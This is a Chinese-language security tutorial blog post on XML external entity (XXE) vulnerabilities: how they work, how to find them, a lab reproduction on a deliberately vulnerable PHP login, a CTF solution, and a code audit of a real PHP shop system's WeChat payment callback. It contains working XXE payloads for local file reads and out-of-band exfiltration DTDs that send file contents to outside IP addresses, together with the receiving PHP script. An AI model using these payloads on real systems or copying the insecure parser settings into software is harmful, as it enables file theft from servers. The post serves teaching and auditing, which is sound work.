解密XXE漏洞:原理剖析、复现与代码审计实战

在网络安全领域,XML外部实体(XXE)漏洞因其隐蔽性和危害性而备受关注。随着企业对XML技术的广泛应用,XXE漏洞也逐渐成为攻击者们利用的重点目标。一个看似无害的XML文件,可能成为攻击者入侵系统的利器。因此,理解XXE漏洞的原理,并掌握其复现与代码审计技巧,对于提升系统安全性至关重要。

本文将深入剖析XXE漏洞的工作原理,展示如何在实际环境中复现该漏洞,并提供详尽的代码审计方法。无论您是网络安全初学者,还是资深开发者,都能从中获得实用的知识和技能。让我们一起解密XXE漏洞,提升我们的安全防护能力。

  1. 基本原理

    1. XML 文档可以包含实体 (Entity),实体可以是内部的(定义在文档内部)或外部的(引用外部资源)。外部实体通常用于在 XML 文档中包含外部数据。如果 XML 解析器允许解析外部实体,那么攻击者可以利用这一点来执行恶意操作。
  2. XXE发现

    1. 黑盒
      1. 获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
      2. 不管获取的Content—Type类型或数据传输类型,均可尝试修改后提交测试xxe
      3. XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
    2. 白盒
      1. 可通过应用功能追踪代码定位审计
      2. 可通过脚本特定函数搜索定位审计
      3. 可通过伪协议玩法绕过相关修复等
  3. XXE~payload

    1. 读取文件
      1.   <?xml version="1.0"?>
          <!DOCTYPE Mikasa [
            <!ENTITY test SYSTEM "file:///d:/e.txt">
          ]>
          <user>
            <username>&test;</username>
            <password>Mikasa</password>
          </user>
        
    2. 带外测试
      1.   <?xml version="1.0"?>
          <!DOCTYPE test [
            <!ENTITY % file SYSTEM "http://7drrcs.dnslog.cn">
            %file;
          ]>
          <user>
            <username>&send;</username>
            <password>Mikasa</password>
          </user>
        
    3. 引用外部实体dtd
      1.   <?xml version="1.0" ?>
          <!DOCTYPE test [
          <!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd">
          %file;
          ]>
          <user><username>&send;</username><password>Mikasa</password></user>
          -----------------------------------------------------------------------------
          evil2.dtd
          <!ENTITY send SYSTEM "file:///d:/1/1.txt">
        
    4. 无回显读文件-带外
      1.   <?xml version="1.0"?>
          <!DOCTYPE ANY [
          <!ENTITY % file SYSTEM "file:///d:/e.txt">
          <!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
          %remote;
          %all;
          ]>
          <root>&send;</root>
          -------------------------------------------------------------------------------
          服务端
          test.dtd
          <!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">
        
          get.php
          <?php
          $data = $_GET['file'];
          $myfile = fopen("file.txt", "w+");
          fwrite($myfile, $data);
          fclose($myfile);
          ?>
        
  4. 复现

    1. **复现文件:**​php_xxe.zip

    2. 读取文件
      1. 源码
        1.   doLogin.php
            <?php
            $USERNAME = 'admin'; //账号
            $PASSWORD = 'admin'; //密码
            $result = null;
          
            libxml_disable_entity_loader(false);
            $xmlfile = file_get_contents('php://input');
          
            try{
            	$dom = new DOMDocument();
            	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
            	$creds = simplexml_import_dom($dom);
          
            	$username = $creds->username;
            	$password = $creds->password;
          
            	if($username == $USERNAME && $password == $PASSWORD){
            		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
            	}else{
            		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
            	}
            }catch(Exception $e){
            	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
            }
          
            header('Content-Type: text/html; charset=utf-8');
            echo $result;
            ?>
          
      2. 捉取登录框的数据包,替换数据包内容即可

    3. 带外测试
      1. 源码
        <?php
        $USERNAME = 'admin'; //账号
        $PASSWORD = 'admin'; //密码
        $result = null;
        
        libxml_disable_entity_loader(false);
        $xmlfile = file_get_contents('php://input');
        
        try{
        	$dom = new DOMDocument();
        	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
        	$creds = simplexml_import_dom($dom);
        
        	$username = $creds->username;
        	$password = $creds->password;
        
        	if($username == $USERNAME && $password == $PASSWORD){
        		//$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
        	}else{
        		//$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
        	}
        }catch(Exception $e){
        	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
        }
        
        header('Content-Type: text/html; charset=utf-8');
        echo $result;
        ?>
        
      2. 捉取数据包,替换其内容即可

    4. 外部实体引用
      1. 源码同上

      2. 本地有一个dtd文件,evil2.dtd,内容为 <!ENTITY send SYSTEM "file:///d:/1/1.txt">

      3. 捉包,改包来引用他

    5. 无回显带外
      1. 源码
        <?php
        $USERNAME = 'admin'; //账号
        $PASSWORD = 'admin'; //密码
        $result = null;
        
        libxml_disable_entity_loader(false);
        $xmlfile = file_get_contents('php://input');
        
        try{
        	$dom = new DOMDocument();
        	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
        	$creds = simplexml_import_dom($dom);
        
        	$username = $creds->username;
        	$password = $creds->password;
        
        	if($username == $USERNAME && $password == $PASSWORD){
        		//$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
        	}else{
        		//$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
        	}
        }catch(Exception $e){
        	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
        }
        
        header('Content-Type: text/html; charset=utf-8');
        echo $result;
        ?>
        
      2. 在服务端部署evil2.dtd,和get.php

        1.   <?xml version="1.0"?>
            <!DOCTYPE ANY[
            <!ENTITY % file SYSTEM "file:///d:/1/1.txt">
            <!ENTITY % remote SYSTEM "http://43.139.186.80/evil2.dtd">
            %remote;
            %all;
            ]>
            <root>&send;</root>
            ---------------------------------------------
            服务端
            evil2.dtd
            <!ENTITY % all "<!ENTITY send SYSTEM 'http://43.139.186.80/get.php?file=%file;'>">
          
            get.php
            <?php
            $data = $_GET['file'];
            $myfile = fopen("file.txt", "w+");
            fwrite($myfile, $data);
            fclose($myfile);
            ?>
          
      3. 捉包替换数据包内容将1.txt的内容带到服务端

    6. CTF赛题

      1. 前端代码
        1.   靶场地址:http://web.jarvisoj.com:9882/
            <html>
            <head>
            <link href="//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/css/bootstrap-editable.css" rel="stylesheet"/>
            <script src="//cdnjs.cloudflare.com/ajax/libs/x-editable/1.5.0/bootstrap3-editable/js/bootstrap-editable.min.js"></script>
            </head>
            <body>
            <div class="show">
            <textarea id="tip-area" width=100px height=50px disabled></textarea>
            </div>
            <div class="control-area">
            <input id="evil-input" type="text" width=100px height=50px value="type sth!"/>
            <button class="btn btn-default" type="button" onclick="send()">Go!</button>
            </div>
            <script>
            function XHR() {
                    var xhr;
                    try {xhr = new XMLHttpRequest();}
                    catch(e) {
                        var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
                        for (var i=0,len=IEXHRVers.length;i< len;i++) {
                            try {xhr = new ActiveXObject(IEXHRVers[i]);}
                            catch(e) {continue;}
                        }
                    }
                    return xhr;
                }
          
            function send(){
             evil_input = document.getElementById("evil-input").value;
             var xhr = XHR();
                 xhr.open("post","/api/v1.0/try",true);
                 xhr.onreadystatechange = function () {
                     if (xhr.readyState==4 && xhr.status==201) {
                         data = JSON.parse(xhr.responseText);
                         tip_area = document.getElementById("tip-area");
                         tip_area.value = data.task.search+data.task.value;
                     }
                 };
                 xhr.setRequestHeader("Content-Type","application/json");
                 xhr.send('{"search":"'+evil_input+'","value":"own"}');
            }
            </script>
            </body>
            </html>
            //可以看到XMLHttpRequest,猜测存在xxe漏洞·
          
      2. 捉取数据包并修改内容和类型

        POST /api/v1.0/try HTTP/1.1
        Host: web.jarvisoj.com:9882
        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
        Accept: */*
        Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
        Accept-Encoding: gzip, deflate
        Content-Type: application/xml;charset=utf-8
        Referer: http://web.jarvisoj.com:9882/
        Content-Length: 108
        DNT: 1
        Connection: close
        
        <?xml version = "1.0"?>
        <!DOCTYPE ANY [
            <!ENTITY f SYSTEM "file:///home/ctf/flag.txt">
        ]>
        <x>&f;</x>
        

代码审计流程

  1. 源码链接:https://pan.baidu.com/s/15O6Hf2tM90T3ZEp9E2x_Ew?pwd=cong

  2. 过程
    1. 首先放入审计系统

    2. 搜索可疑xxe函数simplexml_load_string

    3. 看到敏感可疑函数,最终pe_getxml函数的调用

    4. 最终到wechat_getxml,继续全局搜索最终

    5. 最后追踪到这个路径D:\phpstudy_pro\WWW\phpshe\include\plugin\payment\wechat\notify_url.php

    6. 在网站上访问并测试是否存在漏洞

    7. 发现xxe漏洞,因为通过源码发现他的返回结果是固定的,所以利用无回显文件外带即可任意读取

通过本次学习,我们不仅深入了解了XXE漏洞的原理,还掌握了复现该漏洞的具体步骤和代码审计的方法。安全防护不仅是技术问题,更是一种意识和态度。通过对XXE漏洞的全面剖析,我们能够更好地识别和修复潜在的安全风险,从而保护我们的系统和数据安全。

在信息安全的道路上,没有终点。希望本文能为您在安全防护方面提供有价值的指导和帮助,激发您对网络安全的持续关注和兴趣。让我们共同努力,构建一个更为安全的网络环境。如果您有任何疑问或宝贵的建议,欢迎在评论区与我们互动。感谢您的阅读,期待您的反馈与分享!

  • 30
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

CongSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值